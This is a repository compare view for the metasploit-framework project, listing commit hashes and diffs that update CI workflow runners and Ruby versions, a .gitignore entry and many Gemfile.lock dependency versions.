Compare commits
508 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 857743af50 | |||
| 52ff168c5e | |||
| cdd9a33151 | |||
| 0fd3a82126 | |||
| 5e4b283766 | |||
| b06b39dc71 | |||
| b572437742 | |||
| 8d5171b810 | |||
| b37b91c233 | |||
| 49cc431660 | |||
| 37ef992eb7 | |||
| c7d92c3ed7 | |||
| 2fcea3763f | |||
| 9b6b70cbf3 | |||
| d001bf079e | |||
| 811c8e3b57 | |||
| fcd137ba41 | |||
| c39b437f01 | |||
| a7b049510b | |||
| 0d639b99bb | |||
| 32df4cdeee | |||
| 6c27c05d10 | |||
| 0dcfe72614 | |||
| 5e04ece15b | |||
| 89fadf69a7 | |||
| f11e5c162b | |||
| 1c99daa836 | |||
| e1be26f268 | |||
| 3892d29cc5 | |||
| 1aa5e2f38b | |||
| 564b393c6d | |||
| 873bf85474 | |||
| 3c9b57c415 | |||
| cd2fdc3d5a | |||
| 6467fb3a8f | |||
| a0030ac667 | |||
| 228e89497e | |||
| a0fbfff731 | |||
| 8a6c2dc896 | |||
| 92068e3c02 | |||
| 17ec271333 | |||
| 648236142f | |||
| 05283d30a3 | |||
| 6650a8b852 | |||
| b5686dc7ca | |||
| 8dc4107bed | |||
| 2e89006c1c | |||
| 3e8fbb665f | |||
| e4c7cadc86 | |||
| 9519f79524 | |||
| 51b6d0b596 | |||
| fa087768ef | |||
| 68be75f2dc | |||
| ec4c45f145 | |||
| bf19b722b1 | |||
| 7869e92298 | |||
| 290d70bd19 | |||
| 638c9db7bb | |||
| 5e356598ac | |||
| 9b76ecf6c7 | |||
| 2af5b22272 | |||
| 07aa024b21 | |||
| 3682f4dee9 | |||
| 446d891705 | |||
| 9a8afda0a2 | |||
| d0745ea2a7 | |||
| 0279308905 | |||
| 11eef99efa | |||
| a11569fc53 | |||
| 65906bbb87 | |||
| 3fa8c21e6d | |||
| 8646fd6e39 | |||
| 1a9e33265a | |||
| 21c01406c5 | |||
| a289cf9759 | |||
| 6c1f7c2d8c | |||
| f71ec84f9e | |||
| 797e450f4a | |||
| 7b12372d8f | |||
| ee664c42ac | |||
| b5203ad752 | |||
| bb939ab8c8 | |||
| 22187537d9 | |||
| 3df8404b1b | |||
| a7d2145e8d | |||
| 19a396304d | |||
| c28d172134 | |||
| f99b3bedf0 | |||
| 096cae81d5 | |||
| b87348267b | |||
| 8ba621a291 | |||
| 320bd944f0 | |||
| 3587c38687 | |||
| 9e078420a4 | |||
| 8b29208ae1 | |||
| f3efc84a1f | |||
| dbfce0aeb2 | |||
| 9a35122439 | |||
| 553d5fbaf2 | |||
| 4993fb7921 | |||
| f8e3672082 | |||
| 48594de0b4 | |||
| 919507877b | |||
| 53b25d7d69 | |||
| 3ddf761f4b | |||
| 7113ef7486 | |||
| 66ac389b30 | |||
| 6c578d5733 | |||
| e06aac5369 | |||
| 1b2895de13 | |||
| 0a64224b83 | |||
| 16d7a9315b | |||
| 6494603510 | |||
| 5d3b8f8030 | |||
| a41ec9388f | |||
| c3877ef551 | |||
| 3f1778d35e | |||
| b6c68743f8 | |||
| 0c34fdb562 | |||
| fb28f81700 | |||
| 36990d5c4b | |||
| b286e85479 | |||
| 25d1dd073a | |||
| 35c2a2cc7a | |||
| 5ec728a201 | |||
| 9960fe1393 | |||
| b362e59f94 | |||
| d545ff0c6d | |||
| 6965115c8e | |||
| ea919d70fc | |||
| 6b3d3913e7 | |||
| 5257096863 | |||
| f5cde8f5af | |||
| 76eaa76fb3 | |||
| 851c46b065 | |||
| ba527f8c3c | |||
| b0fe5e1620 | |||
| 69cc144e04 | |||
| 86804ce5b8 | |||
| cd13039aae | |||
| 808b221b3d | |||
| 2bfcac8d86 | |||
| 1b1341a55f | |||
| 2261499142 | |||
| 9dcbf55ea8 | |||
| 89a6b9e5dd | |||
| d5926df2c1 | |||
| 15558fe27a | |||
| 6471ffb225 | |||
| d457ac768d | |||
| d38494498a | |||
| b8a514bb55 | |||
| 3164967e07 | |||
| 12dc4a8bb0 | |||
| e8083c6fb1 | |||
| 21c4e3ce3d | |||
| 5407a63c1e | |||
| 1b985447c5 | |||
| 6a71daac44 | |||
| b5fcfc1294 | |||
| ff46659dd4 | |||
| ae5a9bd41b | |||
| 68eae1664e | |||
| 683132242c | |||
| d818acff93 | |||
| 324fb69735 | |||
| 8a79128ac4 | |||
| 2e8e15e338 | |||
| 14aad14b57 | |||
| 23cb265b22 | |||
| a5aeb0082b | |||
| c7f704dcaf | |||
| 1b5338da06 | |||
| ee711c0566 | |||
| 2960301c63 | |||
| 109065e7c7 | |||
| 5a8484fa36 | |||
| 998a3876a5 | |||
| e03f479659 | |||
| 3c495770b8 | |||
| dc7f602a58 | |||
| 2135df7677 | |||
| e15c823105 | |||
| 323f279093 | |||
| 455c25b1cb | |||
| f4e0338743 | |||
| 46d203a52f | |||
| 8939d09efa | |||
| a249257c27 | |||
| 70e006c493 | |||
| 504d8083fb | |||
| 158da155d3 | |||
| 01802107e1 | |||
| 5648a91514 | |||
| 2369e1562c | |||
| abd392c372 | |||
| 5b61b5097f | |||
| 0e6647c7f9 | |||
| 97f8ec9367 | |||
| 24460efb77 | |||
| 7a54d09ab5 | |||
| f5ce1ee505 | |||
| 847cd97927 | |||
| 13d8c41f98 | |||
| c7ba5dde00 | |||
| 82bf8b5a22 | |||
| 478b38e1eb | |||
| 07fdc1f1ec | |||
| 5d935bdd0a | |||
| e14824e81f | |||
| 3ea8ec91c7 | |||
| ee286dda1c | |||
| d7c47ced9a | |||
| 073dc397bd | |||
| b3f9847bc4 | |||
| 7e055a2512 | |||
| f90b6464ad | |||
| b4fe31757d | |||
| 328aab6edd | |||
| 2242272ef4 | |||
| 3f3bf21560 | |||
| 97bce45e69 | |||
| 961db67c4a | |||
| dd6318221d | |||
| 666a3efcfd | |||
| 28a599804e | |||
| 6c09cc8c9d | |||
| c4abda67c1 | |||
| 1f6c52923b | |||
| 4f95df6ee6 | |||
| 0b5a2ffecf | |||
| 50ba675754 | |||
| 8dbc27c706 | |||
| d49b74d164 | |||
| 988ef6c256 | |||
| 9348381aa6 | |||
| 5cf7a2de92 | |||
| f01f4c08a4 | |||
| 7c1dd17c86 | |||
| 75efe1528c | |||
| 115955591b | |||
| 2c3778e938 | |||
| 470ceda467 | |||
| 47f2b52277 | |||
| ef0578160c | |||
| aacf676cd1 | |||
| 08502e184c | |||
| 5fd211acd6 | |||
| 6d1f64d3e9 | |||
| 62ab42b797 | |||
| 1000b351f1 | |||
| 30df4ce7b0 | |||
| 57109f2966 | |||
| f093794864 | |||
| b8d926c093 | |||
| f5c8120aff | |||
| e7d7d9b41a | |||
| fdaab8dbbc | |||
| eed0b8b4ce | |||
| 6918cfda36 | |||
| 2dc2d8e7d5 | |||
| afd099eff5 | |||
| 6ea5294fcd | |||
| 76b36879c6 | |||
| 6ddec82d89 | |||
| 1734042e64 | |||
| c9fb0950d9 | |||
| 16d5af62d5 | |||
| 59fd656cb8 | |||
| b49e480c53 | |||
| 015ccfe62a | |||
| aac8ecbfe6 | |||
| e6d4a80e0f | |||
| 60a045eaaa | |||
| dc4d3ff21b | |||
| f63ad564a3 | |||
| 09d3acf696 | |||
| a211478d92 | |||
| 773c6be61b | |||
| 8650aeb5bb | |||
| fa222f3b76 | |||
| f4922b47a9 | |||
| 846cca42c9 | |||
| 318d608608 | |||
| a68986599d | |||
| b20c275df6 | |||
| c54658b035 | |||
| 255bc6e558 | |||
| 8bd33d61a2 | |||
| 7f02daac5b | |||
| b8f6e2d549 | |||
| 06f0fffc20 | |||
| 64c3f12573 | |||
| 0be211025e | |||
| 49c98215a0 | |||
| 0e148d6ba4 | |||
| b56cf5ea21 | |||
| a8e73d9fa9 | |||
| 38b845f247 | |||
| 5866cae84c | |||
| 205eec1e56 | |||
| 821c43a6b4 | |||
| 911e5caf7e | |||
| 2290b04995 | |||
| 5faee26f10 | |||
| 852fac48b1 | |||
| 310cfde62b | |||
| 4d4f7b8c55 | |||
| cab4c1a297 | |||
| 8b3e9f89b5 | |||
| 5ad10fb6f9 | |||
| 2a337c9436 | |||
| 779482c868 | |||
| 0ac1a9d704 | |||
| b2683981dc | |||
| e99783f329 | |||
| 1103ed6b3e | |||
| 109f0b71e7 | |||
| 6380c69775 | |||
| 44ef271623 | |||
| bb22c81c8b | |||
| 703cc872d4 | |||
| 50a2127f3c | |||
| 7d71bf6875 | |||
| 365badb369 | |||
| c45262cd46 | |||
| 5d7fb283b7 | |||
| 6564ea9719 | |||
| 2cde5f6364 | |||
| caff6a53f5 | |||
| ea581482d4 | |||
| be25e1fc77 | |||
| 6e8d04ddc9 | |||
| cc27f563ec | |||
| 5e1888ee46 | |||
| 0fd61e859d | |||
| bba4a23f65 | |||
| b6c3cb41bd | |||
| 74eff9ffac | |||
| 507a8961ef | |||
| 0334beada2 | |||
| 4202502992 | |||
| d08aeda4d3 | |||
| 756c910b9a | |||
| 1472f72876 | |||
| e93a75cd01 | |||
| 7c21c57564 | |||
| 713e476139 | |||
| 7844b8f5f8 | |||
| 530174c940 | |||
| 969c81e41c | |||
| 91f2a48270 | |||
| 9c6a198453 | |||
| a858c15b47 | |||
| abb40ea4d6 | |||
| 4cedbadbf9 | |||
| 11fcbb3509 | |||
| c244399f1f | |||
| f87482351c | |||
| d8faa4dd37 | |||
| 26eee72512 | |||
| 0bb14d084f | |||
| af712d4a89 | |||
| 2ec25fc3e5 | |||
| 8febcd1b13 | |||
| a314423e81 | |||
| 163d4d5b11 | |||
| 0b9e1bbbb3 | |||
| a415a86c11 | |||
| 56d1225900 | |||
| 2e13902fd0 | |||
| fd2b325e44 | |||
| 937f3b13b0 | |||
| b42c26b1e1 | |||
| a95d239a88 | |||
| 2433cccde5 | |||
| 75c6e80d68 | |||
| f65119b353 | |||
| 8253e99c11 | |||
| 7489b23336 | |||
| e0514a5bf9 | |||
| 36e542e2e1 | |||
| 449a7b71d5 | |||
| 6c2cf58803 | |||
| fff435fcef | |||
| a54d2402dc | |||
| cd81ced5cb | |||
| 82182f7815 | |||
| 8ed4293e9c | |||
| 6d45320c0c | |||
| ada3be8f7b | |||
| 175c428ff9 | |||
| 4f5c711dc7 | |||
| 3cd39d528c | |||
| ea1207d6e1 | |||
| a0058c03b7 | |||
| f0e62de46a | |||
| 9a4a590b27 | |||
| 207862a810 | |||
| ef8fe215e1 | |||
| d71350dfe6 | |||
| 0602bc0aac | |||
| 4085efa778 | |||
| d86e666e18 | |||
| 6ac0a7c48f | |||
| 7277483022 | |||
| 228d6dd55b | |||
| c66f98bae6 | |||
| 7ee0a78ffc | |||
| e7edafbcfb | |||
| 110e9ddeee | |||
| 4ff03b2305 | |||
| c447cc53fd | |||
| a727ebbf5e | |||
| f2a70c43cb | |||
| 1f7b3319a9 | |||
| 11a00fa1f2 | |||
| f324b8c24e | |||
| c8540a35d6 | |||
| baa686f5e0 | |||
| e2973b0c2e | |||
| a4a2b6e6db | |||
| 98449b6ce6 | |||
| 362318c95b | |||
| d6738c3b18 | |||
| 153dbfb995 | |||
| 5aa5ae32e0 | |||
| 1e6924b19c | |||
| d26eec6a44 | |||
| d36bee8755 | |||
| b00cadfbeb | |||
| 44f605357f | |||
| 778ee0ed06 | |||
| 4f3b59bee3 | |||
| 7df60f71b6 | |||
| d6dabd4bfb | |||
| 4e4a1da4e4 | |||
| e76ef61452 | |||
| f279e8d6ca | |||
| 7c0bb35a4b | |||
| aa51353605 | |||
| d6d51eecb0 | |||
| bcd1f63848 | |||
| 00b85e9bb4 | |||
| d53dc7ca90 | |||
| b4b5f31c3d | |||
| 860cd38bbb | |||
| 7a79b8cbc2 | |||
| 24ab27bdfe | |||
| 665bde7f60 | |||
| a6bdc5ea29 | |||
| b4d2294255 | |||
| d63912a1b8 | |||
| fe99eb0d0a | |||
| e6282c3ff8 | |||
| f3731191a1 | |||
| c6c745c633 | |||
| e0a5bfd7b3 | |||
| e1b0e871b3 | |||
| 8c729e8414 | |||
| e316693bdc | |||
| 09c1cf4308 | |||
| a5cb271b21 | |||
| 2974f55126 | |||
| 3401752fa7 | |||
| 28c3dd5739 | |||
| cf54762191 | |||
| 304d717757 | |||
| 7468f6ecd8 | |||
| 6f33ddd867 | |||
| 5f3268eae7 | |||
| 5257de67f9 | |||
| 55079515ca | |||
| 56dd61027f | |||
| 8090fdb273 | |||
| 67c60c9c5f | |||
| bcd4b6e49f | |||
| 9685bc4bc3 | |||
| 134ce0d7bd | |||
| 46b5092be4 | |||
| 3a9feac1cf | |||
| 966d469aa5 | |||
| f9664575c5 | |||
| d785e90bd9 | |||
| fa8d109f65 | |||
| 3d13dab11e | |||
| 5db741550b | |||
| 031b91766c | |||
| 4861bbb337 | |||
| ef9f5ca463 | |||
| 4ae74f1a67 | |||
| fe6138dea7 | |||
| fbca81dc09 | |||
| ba83b1bdf5 | |||
| 670288a939 | |||
| 0c65559e83 | |||
| 89d47aad69 | |||
| f1da425a89 | |||
| 0201693519 | |||
| 41a5891627 | |||
| 4426a10dd7 | |||
| 3f736834d2 | |||
| e312619418 | |||
| 7f6ef8384b | |||
| 681455dec3 | |||
| 318465771b | |||
| e4947cd127 | |||
| 2c323ae4db |
@@ -31,7 +31,7 @@ on:
|
||||
jobs:
|
||||
# Ensures that the docs site builds successfully. Note that this workflow does not deploy the docs site.
|
||||
build:
|
||||
runs-on: ubuntu-18.04
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
|
||||
@@ -28,14 +28,14 @@ on:
|
||||
|
||||
jobs:
|
||||
msftidy:
|
||||
runs-on: ubuntu-18.04
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- 2.6
|
||||
- 2.7
|
||||
|
||||
name: Lint msftidy
|
||||
steps:
|
||||
|
||||
@@ -28,7 +28,7 @@ on:
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-18.04
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 40
|
||||
name: Docker Build
|
||||
steps:
|
||||
@@ -44,7 +44,7 @@ jobs:
|
||||
/usr/bin/docker-compose build
|
||||
|
||||
test:
|
||||
runs-on: ubuntu-18.04
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
@@ -64,10 +64,15 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- 2.6
|
||||
- 2.7
|
||||
- 3.0.3
|
||||
- 3.1.1
|
||||
- 3.0
|
||||
- 3.1
|
||||
os:
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
exclude:
|
||||
- { os: ubuntu-latest, ruby: 2.7 }
|
||||
- { os: ubuntu-latest, ruby: 3.0 }
|
||||
test_cmd:
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
|
||||
@@ -78,7 +83,7 @@ jobs:
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
|
||||
name: ${{ matrix.os }} - Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install libpcap-dev graphviz
|
||||
|
||||
@@ -3,6 +3,8 @@ Gemfile.local
|
||||
Gemfile.local.lock
|
||||
# Rubymine project directory
|
||||
.idea
|
||||
# Visual Studio Code configuration settings directory
|
||||
.vscode
|
||||
# Sublime Text project directory (not created by ST by default)
|
||||
.sublime-project
|
||||
# RVM control file, keep this to avoid backdooring Metasploit
|
||||
|
||||
@@ -15,7 +15,8 @@ group :development do
|
||||
# generating documentation
|
||||
gem 'yard'
|
||||
# for development and testing purposes
|
||||
gem 'pry-byebug'
|
||||
# lock to version with 2.6 support until project updates
|
||||
gem 'pry-byebug', "~> 3.9.0"
|
||||
# module documentation
|
||||
gem 'octokit'
|
||||
# memory profiling
|
||||
|
||||
+70
-70
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.2.10)
|
||||
metasploit-framework (6.2.18)
|
||||
actionpack (~> 6.0)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
@@ -42,7 +42,7 @@ PATH
|
||||
network_interface
|
||||
nexpose
|
||||
nokogiri
|
||||
octokit
|
||||
octokit (~> 4.0)
|
||||
openssl-ccm
|
||||
openvas-omp
|
||||
packetfu
|
||||
@@ -55,7 +55,6 @@ PATH
|
||||
rb-readline
|
||||
recog
|
||||
redcarpet
|
||||
reline (= 0.2.5)
|
||||
rex-arch
|
||||
rex-bin_tools
|
||||
rex-core
|
||||
@@ -75,7 +74,7 @@ PATH
|
||||
rex-text
|
||||
rex-zip
|
||||
ruby-macho
|
||||
ruby_smb (~> 3.1.0)
|
||||
ruby_smb (~> 3.2.0)
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sinatra
|
||||
@@ -98,57 +97,57 @@ GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.0)
|
||||
actionpack (6.1.6)
|
||||
actionview (= 6.1.6)
|
||||
activesupport (= 6.1.6)
|
||||
actionpack (6.1.7)
|
||||
actionview (= 6.1.7)
|
||||
activesupport (= 6.1.7)
|
||||
rack (~> 2.0, >= 2.0.9)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (6.1.6)
|
||||
activesupport (= 6.1.6)
|
||||
actionview (6.1.7)
|
||||
activesupport (= 6.1.7)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (6.1.6)
|
||||
activesupport (= 6.1.6)
|
||||
activerecord (6.1.6)
|
||||
activemodel (= 6.1.6)
|
||||
activesupport (= 6.1.6)
|
||||
activesupport (6.1.6)
|
||||
activemodel (6.1.7)
|
||||
activesupport (= 6.1.7)
|
||||
activerecord (6.1.7)
|
||||
activemodel (= 6.1.7)
|
||||
activesupport (= 6.1.7)
|
||||
activesupport (6.1.7)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
tzinfo (~> 2.0)
|
||||
zeitwerk (~> 2.3)
|
||||
addressable (2.8.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
addressable (2.8.1)
|
||||
public_suffix (>= 2.0.2, < 6.0)
|
||||
afm (0.2.2)
|
||||
arel-helpers (2.14.0)
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.602.0)
|
||||
aws-sdk-core (3.131.2)
|
||||
aws-partitions (1.628.0)
|
||||
aws-sdk-core (3.145.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.525.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.320.0)
|
||||
aws-sdk-ec2 (1.331.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.69.0)
|
||||
aws-sdk-iam (1.70.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.57.0)
|
||||
aws-sdk-kms (1.58.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.114.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.4)
|
||||
aws-sigv4 (1.5.0)
|
||||
aws-sigv4 (1.5.1)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
bcrypt (3.1.18)
|
||||
bcrypt_pbkdf (1.1.0)
|
||||
@@ -177,19 +176,19 @@ GEM
|
||||
http_parser.rb (>= 0.6.0)
|
||||
em-socksify (0.3.2)
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubi (1.10.0)
|
||||
erubi (1.11.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (6.2.1)
|
||||
activesupport (>= 5.0.0)
|
||||
factory_bot_rails (6.2.0)
|
||||
factory_bot (~> 6.2.0)
|
||||
railties (>= 5.0.0)
|
||||
faker (2.21.0)
|
||||
faker (2.23.0)
|
||||
i18n (>= 1.8.11, < 2)
|
||||
faraday (2.3.0)
|
||||
faraday-net_http (~> 2.0)
|
||||
faraday (2.5.2)
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (2.0.3)
|
||||
faraday-net_http (3.0.0)
|
||||
faraday-retry (2.0.0)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.1)
|
||||
@@ -212,11 +211,11 @@ GEM
|
||||
domain_name (~> 0.5)
|
||||
http_parser.rb (0.8.0)
|
||||
httpclient (2.8.3)
|
||||
i18n (1.10.0)
|
||||
i18n (1.12.0)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.5.11)
|
||||
irb (1.3.6)
|
||||
reline (>= 0.2.5)
|
||||
irb (1.4.1)
|
||||
reline (>= 0.3.0)
|
||||
jmespath (1.6.1)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
@@ -230,11 +229,11 @@ GEM
|
||||
nokogiri (>= 1.5.9)
|
||||
memory_profiler (1.0.0)
|
||||
metasm (1.0.5)
|
||||
metasploit-concern (4.0.4)
|
||||
metasploit-concern (4.0.5)
|
||||
activemodel (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
metasploit-credential (5.0.7)
|
||||
metasploit-credential (5.0.9)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -244,7 +243,7 @@ GEM
|
||||
rex-socket
|
||||
rubyntlm
|
||||
rubyzip
|
||||
metasploit-model (4.0.5)
|
||||
metasploit-model (4.0.6)
|
||||
activemodel (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
@@ -262,11 +261,11 @@ GEM
|
||||
metasploit_payloads-mettle (1.0.18)
|
||||
method_source (1.0.0)
|
||||
mini_portile2 (2.8.0)
|
||||
minitest (5.16.1)
|
||||
minitest (5.16.3)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.5.3)
|
||||
msgpack (1.5.6)
|
||||
multi_json (1.15.0)
|
||||
mustermann (1.1.1)
|
||||
mustermann (2.0.2)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
nessus_rest (0.1.6)
|
||||
net-ldap (0.17.1)
|
||||
@@ -280,20 +279,20 @@ GEM
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.5.8)
|
||||
nokogiri (1.13.6)
|
||||
nokogiri (1.13.8)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
nori (2.6.0)
|
||||
octokit (4.25.1)
|
||||
faraday (>= 1, < 3)
|
||||
sawyer (~> 0.9)
|
||||
openssl-ccm (1.2.2)
|
||||
openssl-cmac (2.0.1)
|
||||
openssl-ccm (1.2.3)
|
||||
openssl-cmac (2.0.2)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
parallel (1.22.1)
|
||||
parser (3.1.2.0)
|
||||
parser (3.1.2.1)
|
||||
ast (~> 2.4.1)
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.1)
|
||||
@@ -303,19 +302,19 @@ GEM
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.4.1)
|
||||
pg (1.4.3)
|
||||
pry (0.13.1)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
pry-byebug (3.9.0)
|
||||
byebug (~> 11.0)
|
||||
pry (~> 0.13.0)
|
||||
public_suffix (4.0.7)
|
||||
puma (5.6.4)
|
||||
public_suffix (5.0.0)
|
||||
puma (5.6.5)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.6.0)
|
||||
rack (2.2.4)
|
||||
rack-protection (2.2.0)
|
||||
rack-protection (2.2.2)
|
||||
rack
|
||||
rack-test (2.0.2)
|
||||
rack (>= 1.3)
|
||||
@@ -324,9 +323,9 @@ GEM
|
||||
nokogiri (>= 1.6)
|
||||
rails-html-sanitizer (1.4.3)
|
||||
loofah (~> 2.3)
|
||||
railties (6.1.6)
|
||||
actionpack (= 6.1.6)
|
||||
activesupport (= 6.1.6)
|
||||
railties (6.1.7)
|
||||
actionpack (= 6.1.7)
|
||||
activesupport (= 6.1.7)
|
||||
method_source
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0)
|
||||
@@ -337,7 +336,7 @@ GEM
|
||||
nokogiri
|
||||
redcarpet (3.5.1)
|
||||
regexp_parser (2.5.0)
|
||||
reline (0.2.5)
|
||||
reline (0.3.1)
|
||||
io-console (~> 0.5)
|
||||
rex-arch (0.1.14)
|
||||
rex-text
|
||||
@@ -352,7 +351,7 @@ GEM
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.33)
|
||||
rex-exploitation (0.1.36)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -366,25 +365,25 @@ GEM
|
||||
rex-arch
|
||||
rex-ole (0.1.7)
|
||||
rex-text
|
||||
rex-powershell (0.1.96)
|
||||
rex-powershell (0.1.97)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
ruby-rc4
|
||||
rex-random_identifier (0.1.8)
|
||||
rex-random_identifier (0.1.9)
|
||||
rex-text
|
||||
rex-registry (0.1.4)
|
||||
rex-rop_builder (0.1.4)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.40)
|
||||
rex-socket (0.1.42)
|
||||
rex-core
|
||||
rex-sslscan (0.1.7)
|
||||
rex-sslscan (0.1.8)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.3)
|
||||
rex-text (0.2.38)
|
||||
rex-text (0.2.45)
|
||||
rex-zip (0.1.4)
|
||||
rex-text
|
||||
rexml (3.2.5)
|
||||
@@ -395,7 +394,7 @@ GEM
|
||||
rspec-mocks (~> 3.11.0)
|
||||
rspec-core (3.11.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-expectations (3.11.0)
|
||||
rspec-expectations (3.11.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-mocks (3.11.1)
|
||||
@@ -411,25 +410,25 @@ GEM
|
||||
rspec-support (~> 3.10)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.11.0)
|
||||
rubocop (1.31.1)
|
||||
rspec-support (3.11.1)
|
||||
rubocop (1.36.0)
|
||||
json (~> 2.3)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.1.0.0)
|
||||
parser (>= 3.1.2.1)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.18.0, < 2.0)
|
||||
rubocop-ast (>= 1.20.1, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 1.4.0, < 3.0)
|
||||
rubocop-ast (1.18.0)
|
||||
rubocop-ast (1.21.0)
|
||||
parser (>= 3.1.1.0)
|
||||
ruby-macho (3.0.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.1.6)
|
||||
ruby_smb (3.2.0)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
@@ -446,12 +445,13 @@ GEM
|
||||
simplecov-html (0.12.3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
sinatra (2.2.0)
|
||||
mustermann (~> 1.0)
|
||||
sinatra (2.2.2)
|
||||
mustermann (~> 2.0)
|
||||
rack (~> 2.2)
|
||||
rack-protection (= 2.2.0)
|
||||
rack-protection (= 2.2.2)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.4.4)
|
||||
sqlite3 (1.5.0)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
sshkey (2.0.0)
|
||||
swagger-blocks (3.0.0)
|
||||
thin (1.8.1)
|
||||
@@ -459,13 +459,13 @@ GEM
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.2.1)
|
||||
tilt (2.0.10)
|
||||
tilt (2.0.11)
|
||||
timecop (0.9.5)
|
||||
timeout (0.3.0)
|
||||
ttfunk (1.7.0)
|
||||
tzinfo (2.0.4)
|
||||
tzinfo (2.0.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2022.1)
|
||||
tzinfo-data (1.2022.3)
|
||||
tzinfo (>= 1.0.0)
|
||||
